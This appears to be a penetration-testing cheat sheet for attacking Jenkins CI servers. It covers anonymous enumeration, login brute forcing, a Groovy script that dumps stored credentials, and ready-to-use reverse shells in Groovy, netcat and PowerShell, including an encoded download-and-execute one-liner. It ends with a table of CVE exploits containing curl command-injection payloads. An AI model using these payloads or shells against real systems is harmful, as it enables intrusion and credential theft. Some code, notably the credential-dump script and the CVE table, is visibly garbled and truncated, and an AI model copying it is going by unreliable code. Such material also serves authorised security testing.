Jenkins is a free and open source platform designed for facilitating continuous integration and continuous delivery of software development projects. It implements building, testing, and deploying capacities and supports various version control (Git, Apache Subversion, Mercurial, etc.) and build automation (Apache Maven, Gradle, Apache Ant, etc.) utilities.

The building and deploying tasks can be distributed on a Jenkins Master server and one or multiple optional Jenkins Slave servers.

Unauthenticated enumeration

The Jenkins web interface may be configured to allow unauthenticated users to perform a number of actions, ranging from retrieving the Jenkins appliance's configuration to executing Groovy script on the Jenkins Master and Jenkins Slave servers.

Indeed, the access control of the Jenkins appliance can be configured to "Anyone can do anything", which grant full privileges to unauthenticated users, or "Legacy mode" which gives unauthenticated users full read access. Additionally, access to individual components can be granted to Anonymous Users through the Matrix-based security.



Display the appliance configuration.


Lists the local users of the appliance. Accessible to Anonymous Users if the authorization is set to Legacy mode.


List the current and past builds. Accessible to Anonymous Users if the authorization is set to Legacy mode.


Job creation interface.


Jenkins management interface.


Lists the Jenkins plugins installed.


Default path of the Credentials plugin, used to manage stored credentials. Accessible to Anonymous Users if the authorization is set to Legacy mode. For more information, refer to the Build jobs secrets section below.


The Script Console, a Groovy script interpreter that can be leveraged to execute code on the Jenkins servers. For more information, refer to the Code execution on Jenkins servers through the Script Console section below.

The metasploit's auxiliary/scanner/http/jenkins_enum module attempts, in an unauthenticated manner, to enumerate the Jenkins version and to access a number of the URL above.

Authentication brute force

Among others, Metasploit and patator can be used to brute force the authentication of a jenkins instance through its web interface.

# JENKINS_LOGIN_URL: <URL>/j_acegi_security_check

msf > use auxiliary/scanner/http/jenkins_login

patator http_fuzz -t <50 | NUMBER_THREADS> url="<JENKINS_LOGIN_URL>" method=POST body='j_username=FILE0&j_password=FILE1' 0=<WORDLIST_USERS> 1=<WORDLIST_PASSWORDS> -x ignore:fgrep='loginError'

Build jobs secrets

Various kind of secrets, such as passwords or API keys, can be stored in Jenkins in order to be accessible by Jenkins's continuous delivery builds. As, by design, Jenkins must be able to provide clear text credentials if necessary to the utilities in the pipelines, the secrets are retrievable given sufficient privileges on the Jenkins appliance.

The secrets definition, management and usage are implemented through a number of Jenkins plugins:

  • the Credentials plugin, which implements the credentials management interface, accessible at the <URL>/credentials/ URL.

  • the Credentials Binding plugin, which allows Jenkins build jobs to inject credentials directly as environment variables.

  • the Folders plugin, which can be used to reduce the accessibility of Credentials to certain build jobs.

The credentials registered through the Credentials plugin can either be defined with one of the following scope:

  • System, to be only accessible from the Jenkins instance itself and its' plugins.

  • Global, to be accessible to the Jenkins instance as well as to all build jobs.

  • If the Folders plugin is installed, locally to a Jenkins folder in order to only be accessible to the build jobs defined in the folder.

Credentials are stored encrypted locally on the Jenkins servers through the following files:

  • $JENKINS_HOME/credentials.xml: file that store the encrypted Credentials.

  • $JENKINS_HOME/secrets/hudson.util.Secret: encrypted file that store the AES-128 key used to encrypt the Credentials in the credentials.xml file.

  • $JENKINS_HOME/secrets/master.key: plain text key file that contains the key to decrypt the hudson.util.Secret file.

Credentials dumping through the Script Console

The Script Console can be used to execute a Groovy script that will retrieve and decrypt all stored Credentials. The permissions to access the Script Console (Overall/RunScripts) and to retrieve Credentials (Credentials/View) are required.

The Groovy script below dumps the username / password and private key credentials from both the System and Global scopes as well as credentials defined locally in Jenkins folders.

import jenkins.model.*;
import com.cloudbees.hudson.plugins.folder.*;
import com.cloudbees.plugins.credentials.impl.*;
import com.cloudbees.plugins.credentials.*;

// Retrieves the System and Global credentials.
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(

for (c in creds) {
  if ( {
    println(( ? "ID: " + + ", username: " + c.username + ", private key: " + c.getPrivateKey() : ""))

for (c in creds) {
  if ( {
    println(( ? "ID: " + + ", username: " + c.username + ", password: " + c.password : ""))

// Retrieves the credentials defined through Folders.
def allJenkinsItems = Jenkins.getInstance().getItems();
for (currentJenkinsItem in allJenkinsItems) {
  if(!(currentJenkinsItem instanceof Folder)) { continue }

  currentFolder = (Folder) currentJenkinsItem;

  println ()
  println (currentFolder.getFullName())

  def credsFolders = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(

  for (c in credsFolders) {
    if ( == CredentialsScope.GLOBAL) { continue }

    if ( {
      println(( ? "ID: " + + ", username: " + c.username + ", private key: " + c.getPrivateKey() : ""))

  for (c in credsFolders) {
    if ( == CredentialsScope.GLOBAL) { continue }

    if ( {
      println(( ? "ID: " + + ", username: " + c.username + ", password: " + c.password : ""))

Credentials dumping through code execution on a Jenkins server

If the credentials.xml, hudson.util.Secret and master.key files could be retrieved from a Jenkins server, the credentials can be retrieved using the jenkins_offline_decrypt Python script:


Credentials leak in build jobs

Credentials and secrets may leak in build jobs console outputs and environment variables. Note that the Mask Passwords Plugin plugin may be in use to redact the secrets from the Console Output build log.

The jenkins_dump_builds Python script can be used to dump all build jobs past builds.

# Source:



The grep or ngp utilities can then be used to search for matching keywords in the dump build jobs console outputs and environment variables:

grep -rin "<password | KEYWORD>" <OUTPUT_DIRECTORY>

ngp -ri "<password | KEYWORD>" <OUTPUT_DIRECTORY>

Code execution on Jenkins servers

Through the Jenkins' Script Console

The Jenkins'' Script Console can be used to execute a Groovy script that will in turn execute operating system commands. Access to the Script Console requires the Overall/RunScripts permission (which depending on the access control of the targeted Jenkins appliance can be granted to unauthenticated users).

The Script Console, that will execute code on the Jenkins master, is accessible at the <URL>/script path. Additionally, code can be executed on a specific Jenkins slaves / agents by accessing the Script Console through the targeted node status page:

URL: <URL>/computer/(<master | NODE_NAME>)/script

Or through the interface menus: visit "Manage Jenkins" > "Manage Nodes" > Select the targeted Jenkins node -> "Script Console" (on the left panel).
# Unitary OS command execution.
def proc = "<COMMAND>".execute(); def os = new StringBuffer(); proc.waitForProcessOutput(os, System.err); println(os.toString());

# Reverse shell in Groovy.
# Source:
# BINARY: /bin/sh | /usr/bin/bash | cmd.exe | powershell.exe | ...
String host="<IP | HOSTNAME>";
int port=<PORT>;
String cmd="<BINARY>";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Through build jobs

Operating systems commands can be executed as steps in Jenkins build jobs. Doing so requires the Job\Read, Job\Configure and Job\Build permissions.

Depending on the architecture, the commands will be executed:

  • on the Jenkins master in a standalone server configuration;

  • on the Jenkins slaves / agents by default in a distributed builds environment. Indeed, in environments including slaves / agents, the Jenkins master node will use its resources to handle HTTP requests and the scheduling / management of build jobs while the actual execution of the builds will be delegated to the slaves / agents nodes.

Jenkins supports the execution of shell and batch commands in build jobs. The commands specified through the web interface will be stored locally in a temporary bat or sh script file on the node handling the build. The file will be executed using, respectively, the following operating system commands: cmd /c call <TMP_FILE> and sh -xe <TMP_FILE>.

The process below can be followed to configure a step in a Jenkins job and build the job for remote code execution through a reverse shell:

# Configuration of the step in a given build job.
-> Main dashboard
-> <JOB> (to access the <JOB> page: <URL>/job/<JOB>/)
-> Left panel, "Configure" (to access the <JOB> configuration page: <URL>/job/<JOB>/configure)
-> Build section, "Add build step"
-> "Execute Windows batch command" / "Execute shell"

# The following reverse shells can be used to achieve remote code execution.
# For more information, refer to the "[General] Shells" note.

# Shell ("Execute shell")
# If nc's "-e" option is available on the targeted system:
nc -e /bin/sh <IP> <PORT> &
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PORT> >/tmp/f

# Windows PowerShell ("Execute Windows batch command")
# As PowerShell one-liners tend to induce errors if executed directly as PowerShell commands, it is recommended to either encode the command in base64 before executing it or to specify the command in a ps1 script and to download and execute it in memory through an HTTP request.
# Base64 (should be done off target)
$cmd = '$client = New-Object System.Net.Sockets.TCPClient("<IP>",<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$EncodedCmd =[Convert]::ToBase64String($Bytes)

powershell -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD>

# Requires to host a webserver, which can be done using Python. Refer to the "[General] File transfer" note for more information.
# PowerShell one-liner to store in an web hosted file:
$client = New-Object System.Net.Sockets.TCPClient("<IP>",<PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -NoP -NonI -W Hidden -Exec Bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://<WEBSERVER_IP>:<WEBSERVER_PORT>/<FILE_PS1>')

# Build of the updated job.
-> Job dashboard
-> Left panel, "Build" (to access the <JOB> immediate build API: <URL>/job/<JOB>/build?delay=0sec)

# If necessary, for debugging purposes, the console output of the build can be consulted.
-> Job dashboard
-> Left low panel "Build History", <BUILD>
-> Left panel, "Console Output" (to access <URL>/job/<JOB>/<BUILD_ID>/console

Known critical vulnerabilities

Jenkins, and some of its plugins, has been vulnerable to a few published critical security flaws, allowing for remote code execution:

Vulnerable versionCVE numberPre-requisiteExploit

<= Jenkins 1.638



Source: java -jar ysoserial-master.jar CommonsCollections1 '<CMD>' > payload.out <JENKINS_IP> <JENKINS_PORT> payload.out Metasploit module: exploit/linux/misc/jenkins_java_deserialize.

< Jenkins 1.650 < Jenkins LTS 1.642.2



Source: python3 >>> from exploit import exploit python3 >>> exploit(<JENKINS_URL>, <CMD>) Metasploit module: exploit/multi/http/jenkins_xstream_deserialize.

< Jenkins 2.32 < Jenkins LTS 2.19.3



Metasploit module: exploit/multi/http/jenkins_xstream_deserialize.

If ANONYMOUS_READ is disabled: < Jenkins 2.138 If ANONYMOUS_READ is enable or with a valid account: Jenkins build time < 2019-01-28

CVE-2019-1003000 CVE-2019-1003001 CVE-2019-1003002 CVE-2019-1003005

Depending on the targeted version: Unauthenticated ANONYMOUS_READ enabled / valid user account.

Source: <JENKINS_URL> <CMD> Metasploit module: exploit/multi/http/jenkins_metaprogramming.

< Pipeline Groovy Plugin 2.63

CVE-2019-1003029 CVE-2019-1003030

Overall/Read permission

Source: Tests vulnerability by inducing a sleep: curl -k -4 -X POST "" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}' Command execution: curl -k -4 -X POST "" -d "sandbox=True" -d 'value=class abcd{abcd(){"<CMD>".execute()}}' Throws an error for debugging purposes: curl -k -4 -X POST "" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'

< Git plugin <3.12.0


Jobs/Configure permission

Source: Retrives the required CSRF token: curl '<URL>/user/test/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)' -H 'Connection: keep-alive' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -H 'Upgrade-Insecure-Requests: 1' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36' -H 'DNT: 1' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8' -H 'Referer: <URL>' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9,it;q=0.8' -H 'Cookie: <COOKIES>' --compressed Command execution: curl '<URL>/job/test/descriptorByName/hudson.plugins.git.UserRemoteConfig/checkUrl' -d "value=--upload-pack=`<CMD>`" -H 'Cookie: <COOKIES>' -H 'Origin: <URL>' -H 'Accept-Encoding: gzip, deflate, br' -H 'Accept-Language: en-US,en;q=0.9,it;q=0.8' -H 'X-Prototype-Version: 1.7' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' -H 'Jenkins-Crumb: <CRUMB>' -H 'Pragma: no-cache' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.75 Safari/537.36' -H 'Content-type: application/x-www-form-urlencoded; charset=UTF-8' -H 'Accept: text/javascript, text/html, application/xml, text/xml, */*' -H 'Cache-Control: no-cache' -H 'Referer: <URL>/job/test/configure' -H 'DNT: 1' --compressed

<= ElasticBox Jenkins Kubernetes CI/CD Plugin 1.3


Must be able to "provide YAML input files to ElasticBox Jenkins Kubernetes CI/CD Plugin's build step"



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